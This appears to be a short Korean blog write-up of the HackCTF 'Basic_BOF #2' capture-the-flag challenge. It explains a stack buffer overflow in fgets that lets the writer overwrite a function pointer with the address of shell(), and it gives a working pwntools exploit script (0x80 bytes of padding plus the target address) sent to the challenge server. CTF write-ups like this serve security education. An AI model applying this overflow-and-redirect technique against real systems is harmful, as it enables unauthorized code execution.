[ HackCTF ] Basic_BOF #2

Hyeonjin Lee·2023년 3월 6일
0

문제 분석



IDA로 분석해보면, fgets 함수에서 bof가 발생하는 것을 알 수 있다.


또한 shell을 실행시켜주는 함수가 따로 존재한다.

문제 풀이


fgets함수에서 bof를 발생시켜 v5함수의 주소를 shell()함수의 주소로 바꿔주면 된다.

s는 ebp-0x8C에 위치하고 v5는 ebp-0xC에 위치하므로 0x80만큼의 dummy를 넣어주고 shell()함수의 주소를 넣어주면 된다.

from pwn import *

e = ELF('./bof_basic2')
p = remote('ctf.j0n9hyun.xyz', 3001)

shell = e.symbols['shell']

payload = ''
payload += 'A'*0x80
payload += p32(shell)

p.send(payload)
p.interactive()
profile
요즘 행복해요

0개의 댓글

관련 채용 정보